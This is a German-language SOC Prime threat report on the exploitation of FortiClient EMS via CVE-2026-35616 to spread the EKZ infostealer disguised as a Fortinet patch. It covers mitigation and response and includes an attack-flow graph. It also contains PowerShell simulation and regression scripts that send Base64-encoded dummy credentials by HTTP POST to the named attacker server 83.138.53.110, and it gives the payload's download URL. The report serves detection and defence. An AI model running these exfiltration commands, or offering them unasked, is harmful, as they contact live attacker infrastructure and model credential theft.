FortiClient EMS über CVE-2026-35616 ausgenutzt, um EKZ Infostealer getarnt als Fortinet-Patch zu liefern

SOC Prime Team

Folgen

FortiClient EMS über CVE-2026-35616 ausgenutzt, um EKZ Infostealer getarnt als Fortinet-Patch zu liefern

Detection stack

AIDR
Alert
ETL
Query

Bedrohungsbericht
Angriffsablauf
Erkennungen
Simulationen

Zusammenfassung

Arctic Wolf hat eine Kampagne identifiziert, die ausgenutzt hat CVE-2026-35616 in FortiClient EMS, um ein bösartiges PowerShell-Skript auf verwaltete Endpunkte zu verteilen. Dieses Skript rief eine als legitimer Fortinet-Patch getarnte Nutzlast ab und startete sie zum Stehlen von Anmeldedaten, bekannt als EKZ Infostealer. Die Malware sammelte Passwörter, Cookies und Autovervollständigungsinformationen der Browser und exfiltrierte die gestohlenen Daten über HTTP. Indem die Angreifer die vertrauenswürdigen EMS-Konfigurationskanäle ausnutzten, konnten sie die Nutzlast schnell auf mehreren verwalteten Geräten ausführen.

Untersuchung

Forscher rekonstruierten den Exploit, indem sie speziell präparierte, nicht authentifizierte HTTP-Anfragen an die FortiClient EMS-APIs sendeten, was zu Konfigurationsänderungen führte, die bösartige Skripte einfügten. Ausführungsspuren zeigten fortitray.exe or ipsec.exe , die cmd.exestarteten, was wiederum einen Base64-codierten PowerShell-Befehl ausführte, der p.exe von einer bösartigen IP-Adresse herunterlud. Die Nutzlast schrieb eine log.txt Datei nach ProgramData, sendete die erfassten Daten zurück an denselben Server und löschte sich dann selbst.

Minderung

Organisationen sollten FortiClient EMS auf eine Version aktualisieren, die CVE-2026-35616 behebt und den API-Zugriff auf genehmigte Quell-IP-Adressen beschränken. Verteidiger sollten auch EMS-Protokolle auf zertifikatsbezogene Fehler und unerwartete Änderungen in Remote Access Profiles überprüfen. Ausgehender HTTP-Verkehr von Endpunkten zu unbekannten IP-Adressen sollte blockiert werden, und die Skriptausführung innerhalb von VPN-Profil-Workflows sollte durch minimale Rechtekontrollen eingeschränkt werden.

Reaktion

Wird diese Aktivität festgestellt, sollten betroffene Hosts sofort isoliert, unautorisierte EMS-Konten, die möglicherweise erstellt wurden, widerrufen und bösartige Skriptdateien aus dem FortiClient-Protokollverzeichnis entfernt werden. Ermittler sollten das log.txt Artefakt bewahren, Hashes für die bösartigen Binärdateien berechnen und nach übereinstimmenden Indikatoren in der Umgebung suchen. Ausgesetzte Browser-Anmeldedaten sollten zurückgesetzt und Teams sollten auf verdächtige Authentifizierungsaktivitäten achten, die dem Diebstahl folgen könnten.

"graph TB %% Klassendefinitionen classDef action fill:#99ccff classDef process fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef file fill:#ccffcc classDef technique fill:#ddeeff %% Knoten action_initial_access["Aktion – T1190 Ausnutzung einer öffentlich zugänglichen Anwendung CVEu20112026u201135616 in FortiClient EMS API"] class action_initial_access action process_api_requests["Prozess – Nicht authentifizierte API-Anfragen, die als privilegierte Administratoraktionen verarbeitet werden"] class process_api_requests process action_cmd_launch["Aktion – T1059.003 Windows-Befehls-Shell fortitray.exe & ipsec.exe starten cmd.exe"] class action_cmd_launch action action_powershell["Aktion – T1059.001 PowerShell Base64 codierte PowerShell Skriptausführung"] class action_powershell action technique_obfuscation["Technik – T1027 Verschleierte Dateien oder Informationen Nutzlast als Base64 geliefert"] class technique_obfuscation technique technique_decode["Technik – T1140 Entschleiern/Entschlüsseln von Dateien oder Informationen Laufzeit-Base64-Dekodierung"] class technique_decode technique action_download["Aktion – T1570 Lateraler Instrumententransfer Download FortiEndpoint_Patch.exe (p.exe)"] class action_download action file_payload["Datei – FortiEndpoint_Patch.exe (p.exe) Gehostet unter http://83.138.53.110/dl/p.exe"] class file_payload file action_execute["Aktion – T1203 Ausnutzung zur Clientausführung Stille Ausführung des heruntergeladenen Binaräu2026"] class action_execute action malware_infostealer["Malware – EKZ Infostealer Sammelt Anmeldedaten, Cookies, Autovervollständigungsdaten"] class malware_infostealer malware technique_cred_access["Technik – T1555.003 Anmeldedaten aus Webbrowsern"] class technique_cred_access technique file_log["Datei – C:ProgramDatalog.txt Speicherort der gesammelten Daten"] class file_log file action_exfil["Aktion – T1567 Exfiltration über Webservice HTTP POST zum Angreiferserver"] class action_exfil action action_cleanup["Aktion – T1564 Artefakte verbergen Bösartige Dateien und Protokolle löschen"] class action_cleanup action %% Verbindungen action_initial_access –>|führt zu| process_api_requests process_api_requests –>|löst aus| action_cmd_launch action_cmd_launch –>|führt aus| action_powershell action_powershell –>|verwendet| technique_obfuscation technique_obfuscation –>|erfordert| technique_decode action_powershell –>|lädt| action_download action_download –>|ruft ab| file_payload file_payload –>|ausgeführt durch| action_execute action_execute –>|führt aus| malware_infostealer malware_infostealer –>|führt aus| technique_cred_access malware_infostealer –>|schreibt| file_log file_log –>|gesendet durch| action_exfil action_exfil –>|gefolgt von| action_cleanup action_cleanup –>|löscht| file_payload action_cleanup –>|löscht| file_log "

Angriffsfluss

Angriffsnarrativ & Befehle:
Der Angreifer hat zuvor Anmeldedaten aus der Windows-Registry (Familie T1216) mit EKZ Infostealer gewonnen. Um den gesammelten Blob zu exfiltrieren, startet die Malware eine PowerShell-Einzeiler, die die Base64-codierten Anmeldedaten zu ihrem Command-and-Control-Server bei 83.138.53.110 postet. Die Verwendung von PowerShell (Invoke-WebRequest) ist eine klassische Technik des „Living off the Land“, die binäre-basierte Erkennungen umgeht, während sie dennoch Netzwerktelemetrie erzeugt, die von der Firewall beobachtet werden kann.
```
powershell
# Simulierte Anmeldedaten-Nutzlast (Base64 von "user:pass")
$payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!"))
$uri = "http://83.138.53.110/collect"
Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded"
```

Regressionstest-Skript: Dieses eigenständige PowerShell-Skript reproduziert den Exfiltration-Schritt und kann für zukünftige Regressionen erneut ausgeführt werden.

powershell
<#
.SYNOPSIS
    EKZ Infostealer Anmeldedaten-Exfiltrationssimulation (HTTP POST).

.DESCRIPTION
    Erzeugt einen gefälschten Anmeldedaten-Blob, kodiert diesen und postet ihn an die
    bekannte bösartige IP, die in der Erkennungsregel verwendet wird.

.NOTES
    Erfordert zulässigen ausgehenden HTTP-Verkehr zu 83.138.53.110 auf Port 80.
#>

# ---- Vorbereitung ----
$creds   = "admin_user:SuperSecret!"
$b64     = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds))
$target  = "http://83.138.53.110/collect"

# ---- Ausführung ----
try {
    Write-Host "[*] Sende Anmeldedaten-Blob an $target ..."
    $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing
    Write-Host "[+] HTTP-Status:" $resp.StatusCode
} catch {
    Write-Error "[-] POST fehlgeschlagen: $_"
}

# ---- Ende des Skripts ----

Bereinigungsbefehle: Es werden keine dauerhaften Artefakte auf der Festplatte erstellt, aber um gründlich zu sein, schließen wir alle verbleibenden Webanfrage-Sitzungen und löschen die PowerShell-Variable.

powershell
# Variablen bereinigen und alle offenen Web-Sitzungen schließen
Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue
if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) {
    Remove-WebRequestSession -All
}
Write-Host "[*] Bereinigung abgeschlossen."

Treten Sie der Detection as Code-Plattform von SOC Prime bei um die Sichtbarkeit der für Ihr Unternehmen relevantesten Bedrohungen zu verbessern. Um Ihnen den Einstieg zu erleichtern und unmittelbaren Mehrwert zu erzielen, buchen Sie jetzt ein Treffen mit den Experten von SOC Prime.

Kostenlos beitreten